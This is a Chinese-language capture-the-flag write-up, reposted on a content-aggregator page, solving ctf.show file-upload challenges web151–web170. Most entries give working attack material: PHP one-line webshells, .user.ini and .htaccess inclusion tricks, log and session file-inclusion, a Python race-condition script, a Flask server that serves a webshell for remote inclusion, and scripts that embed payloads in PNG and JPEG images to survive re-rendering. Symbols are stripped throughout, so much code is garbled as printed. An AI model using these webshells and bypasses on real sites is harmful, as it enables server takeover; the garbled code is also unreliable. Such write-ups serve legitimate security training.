网站关键词库是怎么做的徐州网站建设咨询
news/
2025/9/23 4:10:11/
文章来源:
网站关键词库是怎么做的,徐州网站建设咨询,爱游戏app下载官方网站,合肥 企业网站设计公司1.web151
前端验证 前端验证#xff0c;修改html代码#xff0c;上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag
?php eval($_POST[1])?2.web152
后端验证#xff0c;修改mime类型(content-type) burp抓包#xff0c;修改content-type为image/png
…1.web151
前端验证 前端验证修改html代码上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag
?php eval($_POST[1])?2.web152
后端验证修改mime类型(content-type) burp抓包修改content-type为image/png
3.web153
.user.ini类 后端验证mime类型只能是图片格式不能有php后缀 .user.ini配置文件 burp抓包上传.user.ini此配置文件时nginx服务的配置文件写入auto_prepend_file2.jpg在上传2.jpg之后把http://d6a3715e-bc9a-4bc2-8e1e-e540b0bbaeaf.challenge.ctf.show/upload/index.php添加到蚁剑中即可读取flag访问此链接时会自动包含2.jpg
.user.ini利用需要在此目录下还有php文件user.ini 上传的文件 原有的php文件需要在同一目录下
.user.ini
auto_prepend_file 表示在文件头包含
auto_append_file 表示在文件尾包含4.web154
.user.ini类检测文件内容 后端检查文件内容 类型 不能有php需要mime类型为图片格式不能有php后缀 上传.user.ini 写入auto_prepend_file2.png 在上传2.php 写一句话木马 ? eval($_POST[1])?,在把链接加到蚁剑即可读取flag
5.web155
.user.ini类检测文件内容 文件内容中不能有php,图片必须是png格式不能有php后缀
php短标签
? echo 123;?
?(表达式)? 等价于 ?php echo (表达式)?
% echo 123;%
script language”php”echo 123; /script6.web156
.user.ini类检测文件内容 文件内容中不能有php,[],图片必须是png格式 不能有php后缀 利用的还是.user.ini,写入auto_prepend_file2.png在上传2.png 写入?php system(cat /var/www/html/flag.???)?访问链接就可得到flag (http://…/upload/index.php)
7.web157
.user.ini类检测文件内容 文件内容中不能有php,[],;, 图片必须是png格式 不能有php后缀 利用的还是.user.ini,写入auto_prepend_file1.png在上传1.png 写入?php system(cat /var/www/html/flag.???)?访问链接就可得到flag (http://…/upload/index.php)
8.web158
.user.ini类检测文件内容 文件内容中不能有php,[],;,{}图片必须是png格式 利用的还是.user.ini,写入auto_prepend_file1.png在上传1.png 写入?php system(cat /var/www/html/flag.???)?访问链接就可得到flag (http://…/upload/index.php)
9.web159
.user.ini类检测文件内容 文件内容中不能有php,[],;,{},()图片必须是png格式 利用的还是.user.ini,写入auto_prepend_file1.png在上传1.png 写入?tac …/f*这里的短链接没是执行不了的访问链接就可得到flag (http://…/upload/index.php)
10.web160
日志包含配和文件上传(.user.ini) 文件内容中不能有php,[],;,{},(),空格log图片必须是png格式 利用的还是.user.ini,写入auto_prepend_file1.png在上传1.png 写入?include/var/lo.g/nginx/access.lo.g?访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话?php eval($_POST[1])?,再次访问链接 (http://…/upload/index.php)进行命令执行1system(“tac …/f*”)?得到flag
11.web161
日志包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize 这题注意上传直接上传图片是不行的 文件内容中不能有php,[],;,{},(),空格log图片必须是png格式 利用的还是.user.ini,写入auto_prepend_file1.png在上传1.png 写入 GIF89a ?include/var/lo.g/nginx/access.lo.g?访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话?php eval($_POST[1])?,再次访问链接 (http://…/upload/index.php)进行命令执行1system(“tac …/f*”)?得到flag
12.web162
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize 过滤了点日志包含没法用了采用session文件包含 和上题相比过滤了点日志包含就用不了了这里采用的是session包含 先上传png,写入GIF89a?include/tmp/sess_1?,在上传.user.ini写入GIF89a auto_prepend_filepng
import requests
import threading
sessionrequests.session()
sess1 #和png后面要包含文件的对应
url1http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/
url2http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload
data1{PHP_SESSION_UPLOAD_PROGRESS:?php system(tac ../f*);?
}
file{file:1 #无所谓
}
cookies{PHPSESSID: sess
}def write():while True:r session.post(url1,datadata1,filesfile,cookiescookies)
def read():while True:r session.get(url2)if flag in r.text:print(r.text)threads [threading.Thread(targetwrite),threading.Thread(targetread)]
for t in threads:t.start()
]
13.web163
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize 远程文件包含和文件上传(.user.ini) 检测文件头 绕过getimagesize 第二种方法也适用与上一题 1.和上题一样 session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize 过滤了点日志包含没法用了采用session文件包含 和上题相比过滤了点日志包含就用不了了这里采用的是session包含 先上传png,写入GIF89a?include/tmp/sess_1?,在上传.user.ini写入GIF89a auto_prepend_filepng 2. 可以使用远程文件包含上传.user.ini,需要把ip转换为数字注意远程web服务器需要为路由型这里使用python的flask框架之后在进行命令执行即可 或者传.user.ini和png分别写入以下内容这题不行在上传的一瞬间png文件被删除了 .user.ini GIF89a auto_prepend_filepng
png GIF89a ?includehttp://10200352//?
from flask import Flask
app Flask(__name__)
app.route(/)
def hello_world():return ?php eval($_POST[1]);?
if __name__ __main__:app.run(port80,host0.0.0.0)14.web164
考察png二次渲染
png渲染脚本
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);
$img imagecreatetruecolor(32, 32);
for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,1.png); //要修改的图片的路径
/* 木马内容
?$_GET[0]($_POST[1]);?*/?15.web165
考察jpg二次渲染 照片选择这张成功率会高很多
先把这张照片上传到服务器上在把服务器上已经渲染好的照片下载下来使用下载下来的照片使用下方的jpg渲染脚本插入php代码
jpg渲染脚本特别注意需要在linux环境下运行此脚本windows运行无法渲染成功)
?php
$miniPayload ?eval($_POST[1]);?;
if(!extension_loaded(gd) || !function_exists(imagecreatefromjpeg)) {die(php-gd is not installed);
}
if(!isset($argv[1])) {die(php jpg_payload.php jpg_name.jpg);
}
set_error_handler(custom_error_handler);
for($pad 0; $pad 1024; $pad) {$nullbytePayloadSize $pad;$dis new DataInputStream($argv[1]);$outStream file_get_contents($argv[1]);$extraBytes 0;$correctImage TRUE;if($dis-readShort() ! 0xFFD8) {die(Incorrect SOI marker);}while((!$dis-eof()) ($dis-readByte() 0xFF)) {$marker $dis-readByte();$size $dis-readShort() - 2;$dis-skip($size);if($marker 0xDA) {$startPos $dis-seek();$outStreamTmp substr($outStream, 0, $startPos) .$miniPayload .str_repeat(\0,$nullbytePayloadSize) .substr($outStream, $startPos);checkImage(_.$argv[1], $outStreamTmp, TRUE);if($extraBytes ! 0) {while((!$dis-eof())) {if($dis-readByte() 0xFF) {if($dis-readByte ! 0x00) {break;}}}$stopPos $dis-seek() - 2;$imageStreamSize $stopPos - $startPos;$outStream substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream $outStreamTmp;} else {break;}if(checkImage(payload_.$argv[1], $outStream)) {die(Success!);} else {break;}}}
}
unlink(payload_.$argv[1]);
die(Something\s wrong);
function checkImage($filename, $data, $unlink FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage FALSE;if(preg_match(/(\d) extraneous bytes before marker/, $errstr, $m)) {if(isset($m[1])) {$extraBytes (int)$m[1];}}
}
class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order false, $fromString false) {$this-binData ;$this-order $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die(File not exists [.$filename.]);$this-binData file_get_contents($filename);} else {$this-binData $filename;}$this-size strlen($this-binData);}public function seek() {return ($this-size - strlen($this-binData));}public function skip($skip){$this-binData substr($this-binData, $skip);}public function readByte() {if($this-eof()) {die(End Of File);}$byte substr($this-binData, 0, 1);$this-binData substr($this-binData, 1);return ord($byte);}public function readShort() {if(strlen($this-binData) 2) {die(End Of File);}$short substr($this-binData, 0, 2);$this-binData substr($this-binData, 2);if($this-order) {$short (ord($short[1]) 8) ord($short[0]);} else {$short (ord($short[0]) 8) ord($short[1]);}return $short;}public function eof() {return !$this-binData||(strlen($this-binData) 0);}
}
?16.web166
考察zip文件上传
17.web167
考察apache配置文件.htaccess
FilesMatch \.jpgSetHandler application/x-httpd-php
/FilesMatch上传一张图片马即可
18.web168
基础免杀过滤post,get,eval等
?php $_REQUEST[1]($_REQUEST[2])?19.web169
考察nginx服务器的配置文件.user.ini日志文件包含 服务器是nignx上传.user.ini来进行日志包含 进行包含时要注意在上传文件的目录中需要有index.php文件因为没有index.php文件所以先上传一个index.php文件里面随便写就可以 .user.ini
auto_append_file/var/log/nginx/access.log访问上传的文件位置在user-agent写入一句话木马 post传入1system(“tac …/flagaa.php”); 执行即可
20.web170
考察nginx服务器的配置文件.user.ini日志文件包含 服务器是nignx上传.user.ini来进行日志包含 进行包含时要注意在上传文件的目录中需要有index.php文件因为没有index.php文件所以先上传一个index.php文件里面随便写就可以 .user.ini
auto_append_file/var/log/nginx/access.log访问上传的文件位置在user-agent写入一句话木马 post传入1system(“tac …/flagaa.php”); 执行即可
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/911318.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!